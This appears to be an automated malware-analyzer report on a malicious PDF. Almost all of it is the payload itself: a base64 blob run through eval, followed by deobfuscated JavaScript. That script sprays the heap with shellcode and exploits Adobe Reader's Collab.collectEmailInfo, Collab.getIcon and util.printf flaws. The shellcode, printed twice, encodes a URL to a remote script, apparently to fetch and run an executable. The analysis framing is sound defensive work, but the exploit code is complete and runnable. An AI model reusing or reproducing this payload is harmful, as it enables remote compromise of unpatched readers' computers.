NzIlMjglNzYlNjElNzIlMjAlNzglNTQlMzclNzclMzklNGElNjklNzElNTMlMzAlNGIlMjAlM2QlMjAlMzAlM2IlMjAlNzglNTQlMzclNzclMzklNGElNjklNzElNTMlMzAlNGIlMjAlM2MlMjAlNjQlNTklNTglNzQlNDQlNjElNmIlNzQlNDQlMzklNzQlM2IlMjAlNzglNTQlMzclNzclMzklNGElNjklNzElNTMlMzAlNGIlMmIlMmIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNDklNTYlNjclNmIlNmYlNDclNGUlNTQlNDklNzElNTElNWIlNzglNTQlMzclNzclMzklNGElNjklNzElNTMlMzAlNGIlNWQlMjAlM2QlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMjAlMmIlMjAlNDYlNWElMzklNTclNmQlNjYlMzQlNDQlNzElNzclN2ElM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNTIlNDElNjklNGMlNjElNDIlNjIlNGMlNjglNzQlNTAlMjglMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGIlNGUlN2ElNGUlNzMlNTAlNjklNGUlMzQlNjQlN2ElMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNmIlMzUlMzclMzIlNTQlNzclNDMlNDglNzYlNWElNTQlMjklM2IlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNmMlNDQlMzUlNmYlNGMlNTIlNjYlNGIlNjUlNDQlNGQlMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDIlNTYlNjYlNDUlNTUlNGQlNzElNzMlNGQlNGQlNDclMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNDIlNTYlNjYlNDUlNTUlNGQlNzElNzMlNGQlNGQlNDclMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNDIlNTYlNjYlNDUlNTUlNGQlNzElNzMlNGQlNGQlNDclMjAlMmIlM2QlMjAlNDIlNTYlNjYlNDUlNTUlNGQlNzElNzMlNGQlNGQlNDclM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTElNjMlNzglNzAlNGElNjclMzklNDMlNGMlNDclMzQlMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmQlNzQlNmYlNmYlNmElNjElNzMlNGYlNzElN2ElNTQlMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNTElNjMlNzglNzAlNGElNjclMzklNDMlNGMlNDclMzQlNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNmQlNzQlNmYlNmYlNmElNjElNzMlNGYlNzElN2ElNTQlNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNDIlNTYlNjYlNDUlNTUlNGQlNzElNzMlNGQlNGQlNDclMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmMlNDQlMzUlNmYlNGMlNTIlNjYlNGIlNjUlNDQlNGQlMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklMjAlMmIlM2QlMjAlNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzMlNjglNmQlNjQlNTclNTElNGMlNmYlNTAlNzklNjYlMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjglNmQlNjQlNTclNTElNGMlNmYlNTAlNzklNjYlNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNGIlNzclNGMlMzIlNTMlNzklNGElNTMlMzclMzIlNDklMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlNGUlN2ElNGUlNzMlNTAlNjklNGUlMzQlNjQlN2ElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlNGUlN2ElNGUlNzMlNTAlNjklNGUlMzQlNjQlN2ElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNGIlNGUlN2ElNGUlNzMlNTAlNjklNGUlMzQlNjQlN2ElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNGIlNGUlN2ElNGUlNzMlNTAlNjklNGUlMzQlNjQlN2ElMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNjclNDYlNjUlNzUlNjQlNTclNzAlNDIlMzklNzYlNGUlMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmMlNDQlMzUlNmYlNGMlNTIlNjYlNGIlNjUlNDQlNGQlMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzklNDUlNDklNDclNjIlNzclMzIlNTklNTAlNmQlNmIlMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNjElNGQlNGQlMzglNzElNzIlNDMlNTklNzclNjclNGUlMjAlM2QlMjAlMzAlM2IlMjAlNjElNGQlNGQlMzglNzElNzIlNDMlNTklNzclNjclNGUlMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNjElNGQlNGQlMzglNzElNzIlNDMlNTklNzclNjclNGUlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzklNDUlNDklNDclNjIlNzclMzIlNTklNTAlNmQlNmIlMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmYlNGUlNTclMzQlNzklNTYlMzklMzglNjElNjklNDQlMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmYlNGUlNTclMzQlNzklNTYlMzklMzglNjElNjklNDQlNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNzklNDUlNDklNDclNjIlNzclMzIlNTklNTAlNmQlNmIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlN2QlMjAlN2QlMjAiKSk7IAogYXBwLnZyVmxqellMS0RHID0gUkFpTGFCYkxodFA7CiBrNTcyVHdDSHZaVCA9IGFwcC5zZXRUaW1lT3V0KCJhcHAudnJWbGp6WUxLREcoKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5218 bytes
SHA-256: 62dc4e0429708f6556c21bc7bb831d3e7e65dfeb4dde3701093ebf4602af5e38
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var IVgkoGNTIqQ = new Array();
 var k572TwCHvZT;
 var lave = eval;
  lave(unescape("  function bfU8LU9TitX(ObaKYCl7Rpm, fn7hVSkIiYb)  {    while(ObaKYCl7Rpm.length * 2 < fn7hVSkIiYb)    {      ObaKYCl7Rpm += ObaKYCl7Rpm;    }    ObaKYCl7Rpm = ObaKYCl7Rpm.substring(0, fn7hVSkIiYb / 2);    return ObaKYCl7Rpm;  } "));  lave(unescape("   function lD5oLRfKeDM(eEz3gqEQtv9)  {    if(eEz3gqEQtv9 == 0)    {      var HX5EPPxCt88 = 0x0c0c0c0c;      var FZ9Wmf4Dqwz =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(eEz3gqEQtv9 == 1)    {      HX5EPPxCt88 = 0x30303030;      var FZ9Wmf4Dqwz =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(eEz3gqEQtv9 == 2)    {      var FZ9Wmf4Dqwz =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    var CG9F06bYwYS = 0x400000;    var xJswrbV7Nov = FZ9Wmf4Dqwz.length * 2;    var fn7hVSkIiYb = CG9F06bYwYS - (xJswrbV7Nov + 0x38);    var ObaKYCl7Rpm = unescape("%u9090%u9090");    ObaKYCl7Rpm = bfU8LU9TitX(ObaKYCl7Rpm, fn7hVSkIiYb);    var dYXtDaktD9t = (HX5EPPxCt88 - 0x400000) / CG9F06bYwYS;    for(var xT7w9JiqS0K = 0; xT7w9JiqS0K < dYXtDaktD9t; xT7w9JiqS0K++)    {      IVgkoGNTIqQ[xT7w9JiqS0K] = ObaKYCl7Rpm + FZ9Wmf4Dqwz;    }  } "));  lave(unescape("  function RAiLaBbLhtP()  {    var KNzNsPiN4dz = 0;    var gFeudWpB9vN = app.viewerVersion.toString();    app.clearTimeOut(k572TwCHvZT);    if((gFeudWpB9vN >= 8 && gFeudWpB9vN < 8.102) || gFeudWpB9vN < 7.1)    {      lD5oLRfKeDM(0);      var BVfEUMqsMMG = unescape("%u0c0c%u0c0c");      while(BVfEUMqsMMG.length < 44952) BVfEUMqsMMG += BVfEUMqsMMG;      var QcxpJg9CLG4 = this;      var mtoojasOqzT = Collab;      QcxpJg9CLG4["collabStore"] = mtoojasOqzT["collectEmailInfo"](      {        subj : "", msg : BVfEUMqsMMG      }      );    }    if((gFeudWpB9vN >= 8.102 && gFeudWpB9vN < 8.104) || (gFeudWpB9vN >= 9 && gFeudWpB9vN < 9.1) || gFeudWpB9vN <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          lD5oLRfKeDM(2);          var KwL2SyJS72I = unescape("%09");          while(KwL2SyJS72I.length < 0x4000)          {            KwL2SyJS72I += KwL2SyJS72I;          }          KwL2SyJS72I = "N." + KwL2SyJS72I;          var shmdWQLoPyf = app;          shmdWQLoPyf["doc"]["Collab"]["getIcon"](KwL2SyJS72I);          KNzNsPiN4dz = 1;        }        else        {          KNzNsPiN4dz = 1;        }      }      catch(e)      {        KNzNsPiN4dz = 1;      }      if(KNzNsPiN4dz == 1)      {        if(gFeudWpB9vN == 8.102 || gFeudWpB9vN == 7.1)        {          lD5oLRfKeDM(1);          var yEIGbw2YPmk = "12999999999999999999";          for(aMM8qrCYwgN = 0; aMM8qrCYwgN < 276; aMM8qrCYwgN++)          {            yEIGbw2YPmk += "8";          }          var oNW4yV98aiD = util;          oNW4yV98aiD["printf"]("%45000f", yEIGbw2YPmk);        }      }    } } ")); 
 app.vrVljzYLKDG = RAiLaBbLhtP;
 k572TwCHvZT = app.setTimeOut("app.vrVljzYLKDG()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5214 bytes
SHA-256: 61ef2994a5db4a1e3de530b1da6f398110bf6c40e665cf094c780922e93a4256
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var IVgkoGNTIqQ = new Array();
 var k572TwCHvZT;
 var lave = eval;
  lave(unescape("  function bfU8LU9TitX(ObaKYCl7Rpm, fn7hVSkIiYb)  {    while(ObaKYCl7Rpm.length * 2 < fn7hVSkIiYb)    {      ObaKYCl7Rpm += ObaKYCl7Rpm;    }    ObaKYCl7Rpm = ObaKYCl7Rpm.substring(0, fn7hVSkIiYb / 2);    return ObaKYCl7Rpm;  } "));  lave(unescape("   function lD5oLRfKeDM(eEz3gqEQtv9)  {    if(eEz3gqEQtv9 == 0)    {      var HX5EPPxCt88 = 0x0c0c0c0c;      var FZ9Wmf4Dqwz =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(eEz3gqEQtv9 == 1)    {      HX5EPPxCt88 = 0x30303030;      var FZ9Wmf4Dqwz =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(eEz3gqEQtv9 == 2)    {      var FZ9Wmf4Dqwz =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    var CG9F06bYwYS = 0x400000;    var xJswrbV7Nov = FZ9Wmf4Dqwz.length * 2;    var fn7hVSkIiYb = CG9F06bYwYS - (xJswrbV7Nov + 0x38);    var ObaKYCl7Rpm = unescape("%u9090%u9090");    ObaKYCl7Rpm = bfU8LU9TitX(ObaKYCl7Rpm, fn7hVSkIiYb);    var dYXtDaktD9t = (HX5EPPxCt88 - 0x400000) / CG9F06bYwYS;    for(var xT7w9JiqS0K = 0; xT7w9JiqS0K < dYXtDaktD9t; xT7w9JiqS0K++)    {      IVgkoGNTIqQ[xT7w9JiqS0K] = ObaKYCl7Rpm + FZ9Wmf4Dqwz;    }  } "));  lave(unescape("  function RAiLaBbLhtP()  {    var KNzNsPiN4dz = 0;    var gFeudWpB9vN = app.viewerVersion.toString();    app.clearTimeOut(k572TwCHvZT);    if((gFeudWpB9vN >= 8 && gFeudWpB9vN < 8.102) || gFeudWpB9vN < 7.1)    {      lD5oLRfKeDM(0);      var BVfEUMqsMMG = unescape("%u0c0c%u0c0c");      while(BVfEUMqsMMG.length < 44952) BVfEUMqsMMG += BVfEUMqsMMG;      var QcxpJg9CLG4 = this;      var mtoojasOqzT = Collab;      QcxpJg9CLG4["collabStore"] = mtoojasOqzT["collectEmailInfo"](      {        subj : "", msg : BVfEUMqsMMG      }      );    }    if((gFeudWpB9vN >= 8.102 && gFeudWpB9vN < 8.104) || (gFeudWpB9vN >= 9 && gFeudWpB9vN < 9.1) || gFeudWpB9vN <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          lD5oLRfKeDM(2);          var KwL2SyJS72I = unescape("	");          while(KwL2SyJS72I.length < 0x4000)          {            KwL2SyJS72I += KwL2SyJS72I;          }          KwL2SyJS72I = "N." + KwL2SyJS72I;          var shmdWQLoPyf = app;          shmdWQLoPyf["doc"]["Collab"]["getIcon"](KwL2SyJS72I);          KNzNsPiN4dz = 1;        }        else        {          KNzNsPiN4dz = 1;        }      }      catch(e)      {        KNzNsPiN4dz = 1;      }      if(KNzNsPiN4dz == 1)      {        if(gFeudWpB9vN == 8.102 || gFeudWpB9vN == 7.1)        {          lD5oLRfKeDM(1);          var yEIGbw2YPmk = "12999999999999999999";          for(aMM8qrCYwgN = 0; aMM8qrCYwgN < 276; aMM8qrCYwgN++)          {            yEIGbw2YPmk += "8";          }          var oNW4yV98aiD = util;          oNW4yV98aiD["printf"]("E000f", yEIGbw2YPmk);        }      }    } } ")); 
 app.vrVljzYLKDG = RAiLaBbLhtP;
 k572TwCHvZT = app.setTimeOut("app.vrVljzYLKDG()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.